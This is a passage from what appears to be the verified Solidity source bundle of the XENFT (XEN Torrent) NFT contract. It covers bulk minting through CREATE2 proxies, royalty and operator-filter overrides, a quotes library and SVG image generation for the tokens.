contracts services\n */\n function burn(address user, uint256 tokenId) public notBeforeStart nonReentrant {\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"XENFT burn: not a supported contract\"\n );\n require(user != address(0), \"XENFT burn: illegal owner address\");\n require(tokenId > 0, \"XENFT burn: illegal tokenId\");\n require(_isApprovedOrOwner(_msgSender(), tokenId), \"XENFT burn: not an approved operator\");\n require(ownerOf(tokenId) == user, \"XENFT burn: user is not tokenId owner\");\n _ownedTokens[user].removeItem(tokenId);\n _burn(tokenId);\n IBurnRedeemable(_msgSender()).onTokenBurned(user, tokenId);\n }\n\n // OVERRIDING ERC-721 IMPLEMENTATION TO ALLOW OPENSEA ROYALTIES ENFORCEMENT PROTOCOL\n\n /**\n @dev implements `setApprovalForAll` with additional approved Operator checking\n */\n function setApprovalForAll(address operator, bool approved) public override onlyAllowedOperatorApproval(operator) {\n super.setApprovalForAll(operator, approved);\n }\n\n /**\n @dev implements `approve` with additional approved Operator checking\n */\n function approve(address operator, uint256 tokenId) public override onlyAllowedOperatorApproval(operator) {\n super.approve(operator, tokenId);\n }\n\n /**\n @dev implements `transferFrom` with additional approved Operator checking\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.transferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId);\n }\n\n /**\n @dev implements `safeTransferFrom` with additional approved Operator checking\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory data\n ) public override onlyAllowedOperator(from) {\n super.safeTransferFrom(from, to, tokenId, data);\n }\n\n // SUPPORT FOR ERC2771 META-TRANSACTIONS\n\n /**\n @dev Implements setting a `Trusted Forwarder` for meta-txs. Settable only once\n */\n function addForwarder(address trustedForwarder) external {\n require(msg.sender == _deployer, \"XENFT: not an deployer\");\n require(_trustedForwarder == address(0), \"XENFT: Forwarder is already set\");\n _trustedForwarder = trustedForwarder;\n }\n\n // SUPPORT FOR ERC2981 ROYALTY INFO\n\n /**\n @dev Implements getting Royalty Info by supported operators. ROYALTY_BP is expressed in basis points\n */\n function royaltyInfo(uint256, uint256 salePrice) external view returns (address receiver, uint256 royaltyAmount) {\n receiver = _royaltyReceiver;\n royaltyAmount = (salePrice * ROYALTY_BP) / 10_000;\n }\n\n // XEN TORRENT PRIVATE / INTERNAL HELPERS\n\n /**\n @dev Sets specified XENFT as redeemed\n */\n function _setRedeemed(uint256 tokenId) private {\n mintInfo[tokenId] = mintInfo[tokenId] | uint256(1);\n }\n\n /**\n @dev Determines power group index for Collector Category\n */\n function _powerGroup(uint256 vmus, uint256 term) private pure returns (uint256) {\n return (vmus * term) / POWER_GROUP_SIZE;\n }\n\n /**\n @dev calculates Collector Class index\n */\n function _classIdx(uint256 count, uint256 term) private pure returns (uint256 index) {\n if (_powerGroup(count, term) > 7) return 7;\n return _powerGroup(count, term);\n }\n\n /**\n @dev internal helper to determine special class tier based on XEN to be burned\n */\n function _specialTier(uint256 burning) private view returns (uint256) {\n for (uint256 i = specialClassesBurnRates.length - 1; i > 0; i--) {\n if (specialClassesBurnRates[i] == 0) {\n return 0;\n }\n if (burning > specialClassesBurnRates[i] - 1) {\n return i;\n }\n }\n return 0;\n }\n\n /**\n @dev internal helper to collect params and encode MintInfo\n */\n function _mintInfo(\n address proxy,\n uint256 count,\n uint256 term,\n uint256 burning,\n uint256 tokenId\n ) private view returns (uint256) {\n bool apex = isApex(tokenId);\n uint256 _class = _classIdx(count, term);\n if (apex) _class = uint8(7 + _specialTier(burning)) | 0x80; // Apex Class\n if (burning > 0 && !apex) _class = uint8(8) | 0x40; // Limited Class\n (, , uint256 maturityTs, uint256 rank, uint256 amp, uint256 eaa) = xenCrypto.userMints(proxy);\n return MintInfo.encodeMintInfo(term, maturityTs, rank, amp, eaa, _class, false);\n }\n\n /**\n @dev internal torrent interface. initiates Bulk Mint (Torrent) Operation\n */\n function _bulkClaimRank(\n uint256 count,\n uint256 term,\n uint256 tokenId,\n uint256 burning\n ) private {\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n bytes memory callData = abi.encodeWithSignature(\"callClaimRank(uint256)\", term);\n address proxy;\n bool succeeded;\n for (uint256 i = 1; i < count + 1; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n assembly {\n proxy := create2(0, add(bytecode, 0x20), mload(bytecode), salt)\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rank\");\n if (i == 1) {\n mintInfo[tokenId] = _mintInfo(proxy, count, term, burning, tokenId);\n }\n }\n vmuCount[tokenId] = count;\n }\n\n /**\n @dev internal helper to claim tokenId (limited / ordinary)\n */\n function _getTokenId(uint256 count, uint256 burning) private returns (uint256) {\n // burn possibility has already been verified\n uint256 tier = _specialTier(burning);\n if (tier == 1) {\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(block.timestamp < genesisTs + LIMITED_CATEGORY_TIME_THRESHOLD, \"XENFT: limited time expired\");\n return tokenIdCounter++;\n }\n if (tier > 1) {\n require(_msgSender() == tx.origin, \"XENFT: only EOA allowed for this category\");\n require(count > SPECIAL_CATEGORIES_VMU_THRESHOLD, \"XENFT: under req VMU count\");\n require(specialClassesCounters[tier] < specialClassesTokenLimits[tier] + 1, \"XENFT: class sold out\");\n return specialClassesCounters[tier]++;\n }\n return tokenIdCounter++;\n }\n\n // PUBLIC GETTERS\n\n /**\n @dev public getter for tokens owned by address\n */\n function ownedTokens() external view returns (uint256[] memory) {\n return _ownedTokens[_msgSender()];\n }\n\n /**\n @dev determines if tokenId corresponds to Limited Category\n */\n function isApex(uint256 tokenId) public pure returns (bool apex) {\n apex = tokenId < COMMON_CATEGORY_COUNTER;\n }\n\n // PUBLIC TRANSACTIONAL INTERFACE\n\n /**\n @dev public XEN Torrent interface\n initiates Bulk Mint (Torrent) Operation (Common Category)\n */\n function bulkClaimRank(uint256 count, uint256 term) public notBeforeStart returns (uint256 tokenId) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n _tokenId = _getTokenId(count, 0);\n _bulkClaimRank(count, term, _tokenId, 0);\n _ownedTokens[_msgSender()].addItem(_tokenId);\n _safeMint(_msgSender(), _tokenId);\n emit StartTorrent(_msgSender(), count, term);\n tokenId = _tokenId;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev public torrent interface. initiates Bulk Mint (Torrent) Operation (Special Category)\n */\n function bulkClaimRankLimited(\n uint256 count,\n uint256 term,\n uint256 burning\n ) public notBeforeStart returns (uint256) {\n require(_tokenId == _NOT_USED, \"XENFT: reentrancy detected\");\n require(count > 0, \"XENFT: Illegal count\");\n require(term > 0, \"XENFT: Illegal term\");\n require(burning > specialClassesBurnRates[1] - 1, \"XENFT: not enough burn amount\");\n uint256 balance = IERC20(xenCrypto).balanceOf(_msgSender());\n require(balance > burning - 1, \"XENFT: not enough XEN balance\");\n uint256 approved = IERC20(xenCrypto).allowance(_msgSender(), address(this));\n require(approved > burning - 1, \"XENFT: not enough XEN balance approved for burn\");\n _tokenId = _getTokenId(count, burning);\n _bulkClaimRank(count, term, _tokenId, burning);\n IBurnableToken(xenCrypto).burn(_msgSender(), burning);\n return _tokenId;\n }\n\n /**\n @dev public torrent interface. initiates Mint Reward claim and collection and terminates Torrent Operation\n */\n function bulkClaimMintReward(uint256 tokenId, address to) external notBeforeStart nonReentrant {\n require(ownerOf(tokenId) == _msgSender(), \"XENFT: Incorrect owner\");\n require(to != address(0), \"XENFT: Illegal address\");\n require(!mintInfo[tokenId].getRedeemed(), \"XENFT: Already redeemed\");\n bytes memory bytecode = bytes.concat(\n bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73),\n bytes20(address(this)),\n bytes15(0x5af43d82803e903d91602b57fd5bf3)\n );\n uint256 end = vmuCount[tokenId] + 1;\n bytes memory callData = abi.encodeWithSignature(\"callClaimMintReward(address)\", to);\n bytes memory callData1 = abi.encodeWithSignature(\"powerDown()\");\n for (uint256 i = 1; i < end; i++) {\n bytes32 salt = keccak256(abi.encodePacked(i, tokenId));\n bool succeeded;\n bytes32 hash = keccak256(abi.encodePacked(hex\"ff\", address(this), salt, keccak256(bytecode)));\n address proxy = address(uint160(uint256(hash)));\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData, 0x20), mload(callData), 0, 0)\n }\n require(succeeded, \"XENFT: Error while claiming rewards\");\n assembly {\n succeeded := call(gas(), proxy, 0, add(callData1, 0x20), mload(callData1), 0, 0)\n }\n require(succeeded, \"XENFT: Error while powering down\");\n }\n _setRedeemed(tokenId);\n emit EndTorrent(_msgSender(), tokenId, to);\n }\n}\n"
},
"/contracts/libs/StringData.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\n/*\n Extra XEN quotes:\n\n \"When you realize nothing is lacking, the whole world belongs to you.\" - Lao Tzu\n \"Each morning, we are born again. What we do today is what matters most.\" - Buddha\n \"If you are depressed, you are living in the past.\" - Lao Tzu\n \"In true dialogue, both sides are willing to change.\" - Thich Nhat Hanh\n \"The spirit of the individual is determined by his domination thought habits.\" - Bruce Lee\n \"Be the path. Do not seek it.\" - Yara Tschallener\n \"Bow to no one but your own divinity.\" - Satya\n \"With insight there is hope for awareness, and with awareness there can be change.\" - Tom Kenyon\n \"The opposite of depression isn't happiness, it is purpose.\" - Derek Sivers\n \"If you can't, you must.\" - Tony Robbins\n “When you are grateful, fear disappears and abundance appears.” - Lao Tzu\n “It is in your moments of decision that your destiny is shaped.” - Tony Robbins\n \"Surmounting difficulty is the crucible that forms character.\" - Tony Robbins\n \"Three things cannot be long hidden: the sun, the moon, and the truth.\" - Buddha\n \"What you are is what you have been. What you’ll be is what you do now.\" - Buddha\n \"The best way to take care of our future is to take care of the present moment.\" - Thich Nhat Hanh\n*/\n\n/**\n @dev a library to supply a XEN string data based on params\n*/\nlibrary StringData {\n uint256 public constant QUOTES_COUNT = 12;\n uint256 public constant QUOTE_LENGTH = 66;\n bytes public constant QUOTES =\n bytes(\n '\"If you realize you have enough, you are truly rich.\" - Lao Tzu '\n '\"The real meditation is how you live your life.\" - Jon Kabat-Zinn '\n '\"To know that you do not know is the best.\" - Lao Tzu '\n '\"An over-sharpened sword cannot last long.\" - Lao Tzu '\n '\"When you accept yourself, the whole world accepts you.\" - Lao Tzu'\n '\"Music in the soul can be heard by the universe.\" - Lao Tzu '\n '\"As soon as you have made a thought, laugh at it.\" - Lao Tzu '\n '\"The further one goes, the less one knows.\" - Lao Tzu '\n '\"Stop thinking, and end your problems.\" - Lao Tzu '\n '\"Reliability is the foundation of commitment.\" - Unknown '\n '\"Your past does not equal your future.\" - Tony Robbins '\n '\"Be the path. Do not seek it.\" - Yara Tschallener '\n );\n uint256 public constant CLASSES_COUNT = 14;\n uint256 public constant CLASSES_NAME_LENGTH = 10;\n bytes public constant CLASSES =\n bytes(\n \"Ruby \"\n \"Opal \"\n \"Topaz \"\n \"Emerald \"\n \"Aquamarine\"\n \"Sapphire \"\n \"Amethyst \"\n \"Xenturion \"\n \"Limited \"\n \"Rare \"\n \"Epic \"\n \"Legendary \"\n \"Exotic \"\n \"Xunicorn \"\n );\n\n /**\n @dev Solidity doesn't yet support slicing of byte arrays anywhere outside of calldata,\n therefore we make a hack by supplying our local constant packed string array as calldata\n */\n function getQuote(bytes calldata quotes, uint256 index) external pure returns (string memory) {\n if (index > QUOTES_COUNT - 1) return string(quotes[0:QUOTE_LENGTH]);\n return string(quotes[index * QUOTE_LENGTH:(index + 1) * QUOTE_LENGTH]);\n }\n\n function getClassName(bytes calldata names, uint256 index) external pure returns (string memory) {\n if (index < CLASSES_COUNT) return string(names[index * CLASSES_NAME_LENGTH:(index + 1) * CLASSES_NAME_LENGTH]);\n return \"\";\n }\n}\n"
},
"/contracts/libs/SVG.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"./DateTime.sol\";\nimport \"./StringData.sol\";\nimport \"./FormattedStrings.sol\";\n\n/*\n @dev Library to create SVG image for XENFT metadata\n @dependency depends on DataTime.sol and StringData.sol libraries\n */\nlibrary SVG {\n // Type to encode all data params for SVG image generation\n struct SvgParams {\n string symbol;\n address xenAddress;\n uint256 tokenId;\n uint256 term;\n uint256 rank;\n uint256 count;\n uint256 maturityTs;\n uint256 amp;\n uint256 eaa;\n uint256 xenBurned;\n bool redeemed;\n string series;\n }\n\n // Type to encode SVG gradient stop color on HSL color scale\n struct Color {\n uint256 h;\n uint256 s;\n uint256 l;\n uint256 a;\n uint256 off;\n }\n\n // Type to encode SVG gradient\n struct Gradient {\n Color[] colors;\n uint256 id;\n uint256[4] coords;\n }\n\n using DateTime for uint256;\n using Strings for uint256;\n using FormattedStrings for uint256;\n using Strings for address;\n\n string private constant _STYLE =\n \"<style> \"\n \".base {fill: #ededed;font-family:Montserrat,arial,sans-serif;font-size:30px;font-weight:400;} \"\n \".series {text-transform: uppercase} \"\n \".logo {font-size:200px;font-weight:100;} \"\n \".meta {font-size:12px;} \"\n \".small {font-size:8px;} \"\n \".burn {font-weight:500;font-size:16px;} }\"\n \"</style>\";\n\n string private constant _COLLECTOR =\n \"<g>\"\n \"<path \"\n 'stroke=\"#ededed\" '\n 'fill=\"none\" '\n 'transform=\"translate(265,418)\" '\n 'd=\"m 0 0 L -20 -30 L -12.5 -38.5 l 6.5 7 L 0 -38.5 L 6.56 -31.32 L 12.5 -38.5 L 20 -30 L 0 0 L -7.345 -29.955 L 0 -38.5 L 7.67 -30.04 L 0 0 Z M 0 0 L -20.055 -29.955 l 7.555 -8.545 l 24.965 -0.015 L 20 -30 L -20.055 -29.955\"/>'\n \"</g>\";\n\n string private constant _LIMITED =\n \"<g> \"\n '<path fill=\"#ededed\" '\n 'transform=\"scale(0.4) translate(600, 940)\" '\n 'd=\"M66,38.09q.06.9.18,1.71v.05c1,7.08,4.63,11.39,9.59,13.81,5.18,2.53,11.83,3.09,18.48,2.61,1.49-.11,3-.27,4.39-.47l1.59-.2c4.78-.61,11.47-1.48,13.35-5.06,1.16-2.2,1-5,0-8a38.85,38.85,0,0,0-6.89-11.73A32.24,32.24,0,0,0,95,21.46,21.2,21.2,0,0,0,82.3,20a23.53,23.53,0,0,0-12.75,7,15.66,15.66,0,0,0-2.35,3.46h0a20.83,20.83,0,0,0-1,2.83l-.06.2,0,.12A12,12,0,0,0,66,37.9l0,.19Zm26.9-3.63a5.51,5.51,0,0,1,2.53-4.39,14.19,14.19,0,0,0-5.77-.59h-.16l.06.51a5.57,5.57,0,0,0,2.89,4.22,4.92,4.92,0,0,0,.45.24ZM88.62,28l.94-.09a13.8,13.8,0,0,1,8,1.43,7.88,7.88,0,0,1,3.92,6.19l0,.43a.78.78,0,0,1-.66.84A19.23,19.23,0,0,1,98,37a12.92,12.92,0,0,1-6.31-1.44A7.08,7.08,0,0,1,88,30.23a10.85,10.85,0,0,1-.1-1.44.8.8,0,0,1,.69-.78ZM14.15,10c-.06-5.86,3.44-8.49,8-9.49C26.26-.44,31.24.16,34.73.7A111.14,111.14,0,0,1,56.55,6.4a130.26,130.26,0,0,1,22,10.8,26.25,26.25,0,0,1,3-.78,24.72,24.72,0,0,1,14.83,1.69,36,36,0,0,1,13.09,10.42,42.42,42.42,0,0,1,7.54,12.92c1.25,3.81,1.45,7.6-.23,10.79-2.77,5.25-10.56,6.27-16.12,7l-1.23.16a54.53,54.53,0,0,1-2.81,12.06A108.62,108.62,0,0,1,91.3,84v25.29a9.67,9.67,0,0,1,9.25,10.49c0,.41,0,.81,0,1.18a1.84,1.84,0,0,1-1.84,1.81H86.12a8.8,8.8,0,0,1-5.1-1.56,10.82,10.82,0,0,1-3.35-4,2.13,2.13,0,0,1-.2-.46L73.53,103q-2.73,2.13-5.76,4.16c-1.2.8-2.43,1.59-3.69,2.35l.6.16a8.28,8.28,0,0,1,5.07,4,15.38,15.38,0,0,1,1.71,7.11V121a1.83,1.83,0,0,1-1.83,1.83h-53c-2.58.09-4.47-.52-5.75-1.73A6.49,6.49,0,0,1,9.11,116v-11.2a42.61,42.61,0,0,1-6.34-11A38.79,38.79,0,0,1,1.11,70.29,37,37,0,0,1,13.6,50.54l.1-.09a41.08,41.08,0,0,1,11-6.38c7.39-2.9,17.93-2.77,26-2.68,5.21.06,9.34.11,10.19-.49a4.8,4.8,0,0,0,1-.91,5.11,5.11,0,0,0,.56-.84c0-.26,0-.52-.07-.78a16,16,0,0,1-.06-4.2,98.51,98.51,0,0,0-18.76-3.68c-7.48-.83-15.44-1.19-23.47-1.41l-1.35,0c-2.59,0-4.86,0-7.46-1.67A9,9,0,0,1,8,23.68a9.67,9.67,0,0,1-.91-5A10.91,10.91,0,0,1,8.49,14a8.74,8.74,0,0,1,3.37-3.29A8.2,8.2,0,0,1,14.15,10ZM69.14,22a54.75,54.75,0,0,1,4.94-3.24,124.88,124.88,0,0,0-18.8-9A106.89,106.89,0,0,0,34.17,4.31C31,3.81,26.44,3.25,22.89,4c-2.55.56-4.59,1.92-5,4.79a134.49,134.49,0,0,1,26.3,3.8,115.69,115.69,0,0,1,25,9.4ZM64,28.65c.21-.44.42-.86.66-1.28a15.26,15.26,0,0,1,1.73-2.47,146.24,146.24,0,0,0-14.92-6.2,97.69,97.69,0,0,0-15.34-4A123.57,123.57,0,0,0,21.07,13.2c-3.39-.08-6.3.08-7.47.72a5.21,5.21,0,0,0-2,1.94,7.3,7.3,0,0,0-1,3.12,6.1,6.1,0,0,0,.55,3.11,5.43,5.43,0,0,0,2,2.21c1.73,1.09,3.5,1.1,5.51,1.12h1.43c8.16.23,16.23.59,23.78,1.42a103.41,103.41,0,0,1,19.22,3.76,17.84,17.84,0,0,1,.85-2Zm-.76,15.06-.21.16c-1.82,1.3-6.48,1.24-12.35,1.17C42.91,45,32.79,44.83,26,47.47a37.41,37.41,0,0,0-10,5.81l-.1.08A33.44,33.44,0,0,0,4.66,71.17a35.14,35.14,0,0,0,1.5,21.32A39.47,39.47,0,0,0,12.35,103a1.82,1.82,0,0,1,.42,1.16v12a3.05,3.05,0,0,0,.68,2.37,4.28,4.28,0,0,0,3.16.73H67.68a10,10,0,0,0-1.11-3.69,4.7,4.7,0,0,0-2.87-2.32,15.08,15.08,0,0,0-4.4-.38h-26a1.83,1.83,0,0,1-.15-3.65c5.73-.72,10.35-2.74,13.57-6.25,3.06-3.34,4.91-8.1,5.33-14.45v-.13A18.88,18.88,0,0,0,46.35,75a20.22,20.22,0,0,0-7.41-4.42,23.54,23.54,0,0,0-8.52-1.25c-4.7.19-9.11,1.83-12,4.83a1.83,1.83,0,0,1-2.65-2.52c3.53-3.71,8.86-5.73,14.47-6a27.05,27.05,0,0,1,9.85,1.44,24,24,0,0,1,8.74,5.23,22.48,22.48,0,0,1,6.85,15.82v.08a2.17,2.17,0,0,1,0,.36c-.47,7.25-2.66,12.77-6.3,16.75a21.24,21.24,0,0,1-4.62,3.77H57.35q4.44-2.39,8.39-5c2.68-1.79,5.22-3.69,7.63-5.67a1.82,1.82,0,0,1,2.57.24,1.69,1.69,0,0,1,.35.66L81,115.62a7,7,0,0,0,2.16,2.62,5.06,5.06,0,0,0,3,.9H96.88a6.56,6.56,0,0,0-1.68-4.38,7.19,7.19,0,0,0-4.74-1.83c-.36,0-.69,0-1,0a1.83,1.83,0,0,1-1.83-1.83V83.6a1.75,1.75,0,0,1,.23-.88,105.11,105.11,0,0,0,5.34-12.46,52,52,0,0,0,2.55-10.44l-1.23.1c-7.23.52-14.52-.12-20.34-3A20,20,0,0,1,63.26,43.71Z\"/>'\n \"</g>\";\n\n string private constant _APEX =\n '<g transform=\"scale(0.5) translate(533, 790)\">'\n '<circle r=\"39\" stroke=\"#ededed\" fill=\"transparent\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"M0,38 a38,38 0 0 1 0,-76 a19,19 0 0 1 0,38 a19,19 0 0 0 0,38 z m -5 -57 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0 z\" '\n 'fill-rule=\"evenodd\"/>'\n '<path fill=\"#ededed\" '\n 'd=\"m -5, 19 a 5,5 0 1,0 10,0 a 5,5 0 1,0 -10,0\"/>'\n \"</g>\";\n\n string private constant _LOGO =\n '<path fill=\"#ededed\" '\n 'd=\"M122.7,227.1 l-4.8,0l55.8,-74l0,3.2l-51.8,-69.2l5,0l48.8,65.4l-1.2,0l48.8,-65.4l4.8,0l-51.2,68.4l0,-1.6l55.2,73.2l-5,0l-52.8,-70.2l1.2,0l-52.8,70.2z\" '\n 'vector-effect=\"non-scaling-stroke\" />';\n\n /**\n @dev internal helper to create HSL-encoded color prop for SVG tags\n */\n function colorHSL(Color memory c) internal pure returns (bytes memory) {\n return abi.encodePacked(\"hsl(\", c.h.toString(), \", \", c.s.toString(), \"%, \", c.l.toString(), \"%)\");\n }\n\n /**\n @dev internal helper to create `stop` SVG tag\n */\n function colorStop(Color memory c) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n '<stop stop-color=\"',\n colorHSL(c),\n '\" stop-opacity=\"',\n c.a.toString(),\n '\" offset=\"',\n c.off.toString(),\n '%\"/>'\n );\n }\n\n /**\n @dev internal helper to encode position for `Gradient` SVG tag\n */\n function pos(uint256[4] memory coords) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n 'x1=\"',\n coords[0].toString(),\n '%\" '\n 'y1=\"',\n coords[1].toString(),\n '%\" '\n 'x2=\"',\n coords[2].toString(),\n '%\" '\n 'y2=\"',\n coords[3].toString(),\n '%\" '\n );\n }\n\n /**\n @dev internal helper to create `Gradient` SVG tag\n */\n function linearGradient(\n Color[] memory colors,\n uint256 id,\n uint256[4] memory coords\n ) internal pure returns (bytes memory) {\n string memory stops = \"\";\n for (uint256 i = 0; i < colors.length; i++) {\n if (colors[i].h != 0) {\n stops = string.concat(stops, string(colorStop(colors[i])));\n }\n }\n return\n abi.encodePacked(\n \"<linearGradient \",\n pos(coords),\n 'id=\"g',\n id.toString(),\n '\">',\n stops,\n \"</linearGradient>\"\n );\n }\n\n /**\n @dev internal helper to create `Defs` SVG tag\n */\n function defs(Gradient memory grad) internal pure returns (bytes memory) {\n return abi.encodePacked(\"<defs>\", linearGradient(grad.colors, 0, grad.coords), \"</defs>\");\n }\n\n /**\n @dev internal helper to create `Rect` SVG tag\n */\n function rect(uint256 id) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<rect \"\n 'width=\"100%\" '\n 'height=\"100%\" '\n 'fill=\"url(#g',\n id.toString(),\n ')\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n \"/>\"\n );\n }\n\n /**\n @dev internal helper to create border `Rect` SVG tag\n */\n function border() internal pure returns (string memory) {\n return\n \"<rect \"\n 'width=\"94%\" '\n 'height=\"96%\" '\n 'fill=\"transparent\" '\n 'rx=\"10px\" '\n 'ry=\"10px\" '\n 'stroke-linejoin=\"round\" '\n 'x=\"3%\" '\n 'y=\"2%\" '\n 'stroke-dasharray=\"1,6\" '\n 'stroke=\"white\" '\n \"/>\";\n }\n\n /**\n @dev internal helper to create group `G` SVG tag\n */\n function g(uint256 gradientsCount) internal pure returns (bytes memory) {\n string memory background = \"\";\n for (uint256 i = 0; i < gradientsCount; i++) {\n background = string.concat(background, string(rect(i)));\n }\n return abi.encodePacked(\"<g>\", background, border(), \"</g>\");\n }\n\n /**\n @dev internal helper to create XEN logo line pattern with 2 SVG `lines`\n */\n function logo() internal pure returns (bytes memory) {\n return abi.encodePacked();\n }\n\n /**\n @dev internal helper to create `Text` SVG tag with XEN Crypto contract data\n */\n function contractData(string memory symbol, address xenAddress) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"5%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">',\n symbol,\n unicode\"・\",\n xenAddress.toHexString(),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to create cRank range string\n */\n function rankAndCount(uint256 rank, uint256 count) internal pure returns (bytes memory) {\n if (count == 1) return abi.encodePacked(rank.toString());\n return abi.encodePacked(rank.toString(), \"..\", (rank + count - 1).toString());\n }\n\n /**\n @dev internal helper to create 1st part of metadata section of SVG\n */\n function meta1(\n uint256 tokenId,\n uint256 count,\n uint256 eaa,\n string memory series,\n uint256 xenBurned\n ) internal pure returns (bytes memory) {\n bytes memory part1 = abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"50%\" '\n 'class=\"base \" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\">'\n \"XEN CRYPTO\"\n \"</text>\"\n \"<text \"\n 'x=\"50%\" '\n 'y=\"56%\" '\n 'class=\"base burn\" '\n 'text-anchor=\"middle\" '\n 'dominant-baseline=\"middle\"> ',\n xenBurned > 0 ? string.concat((xenBurned / 10**18).toFormattedString(), \" X\") : \"\",\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"62%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\"> '\n \"#\",\n tokenId.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"82%\" '\n 'y=\"62%\" '\n 'class=\"base meta series\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"end\" >',\n series,\n \"</text>\"\n );\n bytes memory part2 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"68%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"VMU: \",\n count.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"72%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"EAA: \",\n (eaa / 10).toString(),\n \"%\"\n \"</text>\"\n );\n return abi.encodePacked(part1, part2);\n }\n\n /**\n @dev internal helper to create 2nd part of metadata section of SVG\n */\n function meta2(\n uint256 maturityTs,\n uint256 amp,\n uint256 term,\n uint256 rank,\n uint256 count\n ) internal pure returns (bytes memory) {\n bytes memory part3 = abi.encodePacked(\n \"<text \"\n 'x=\"18%\" '\n 'y=\"76%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"AMP: \",\n amp.toString(),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"80%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Term: \",\n term.toString()\n );\n bytes memory part4 = abi.encodePacked(\n \" days\"\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"84%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"cRank: \",\n rankAndCount(rank, count),\n \"</text>\"\n \"<text \"\n 'x=\"18%\" '\n 'y=\"88%\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" >'\n \"Maturity: \",\n maturityTs.asString(),\n \"</text>\"\n );\n return abi.encodePacked(part3, part4);\n }\n\n /**\n @dev internal helper to create `Text` SVG tag for XEN quote\n */\n function quote(uint256 idx) internal pure returns (bytes memory) {\n return\n abi.encodePacked(\n \"<text \"\n 'x=\"50%\" '\n 'y=\"95%\" '\n 'class=\"base small\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" >',\n StringData.getQuote(StringData.QUOTES, idx),\n \"</text>\"\n );\n }\n\n /**\n @dev internal helper to generate `Redeemed` stamp\n */\n function stamp(bool redeemed) internal pure returns (bytes memory) {\n if (!redeemed) return \"\";\n return\n abi.encodePacked(\n \"<rect \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'width=\"100\" '\n 'height=\"40\" '\n 'stroke=\"black\" '\n 'stroke-width=\"1\" '\n 'fill=\"none\" '\n 'rx=\"5px\" '\n 'ry=\"5px\" '\n 'transform=\"translate(-50,-20) '\n 'rotate(-20,0,400)\" />',\n \"<text \"\n 'x=\"50%\" '\n 'y=\"77.5%\" '\n 'stroke=\"black\" '\n 'class=\"base meta\" '\n 'dominant-baseline=\"middle\" '\n 'text-anchor=\"middle\" '\n 'transform=\"translate(0,0) rotate(-20,-45,380)\" >'\n \"Redeemed\"\n \"</text>\"\n );\n }\n\n /**\n @dev main internal helper to create SVG file representing XENFT\n */\n function image(\n SvgParams memory params,\n Gradient[] memory gradients,\n uint256 idx,\n bool apex,\n bool limited\n ) internal pure returns (bytes memory) {\n string memory mark = limited ? _LIMITED : apex ? _APEX : _COLLECTOR;\n bytes memory graphics = abi.encodePacked(defs(gradients[0]), _STYLE, g(gradients.length), _LOGO, mark);\n bytes memory metadata = abi.encodePacked(\n contractData(params.symbol, params.xenAddress),\n meta1(params.tokenId, params.count, params.eaa, params.series, params.xenBurned),\n meta2(params.maturityTs, params.amp, params.term, params.rank, params.count),\n quote(idx),\n stamp(params.redeemed)\n );\n return\n abi.encodePacked(\n \"<svg \"\n 'xmlns=\"http://www.w3.org/2000/svg\" '\n 'preserveAspectRatio=\"xMinYMin meet\" '\n 'viewBox=\"0 0 350 566\">',\n graphics,\n metadata,\n \"</svg>\"\n );\n }\n}\n"
},
"/contracts/libs/MintInfo.sol": {
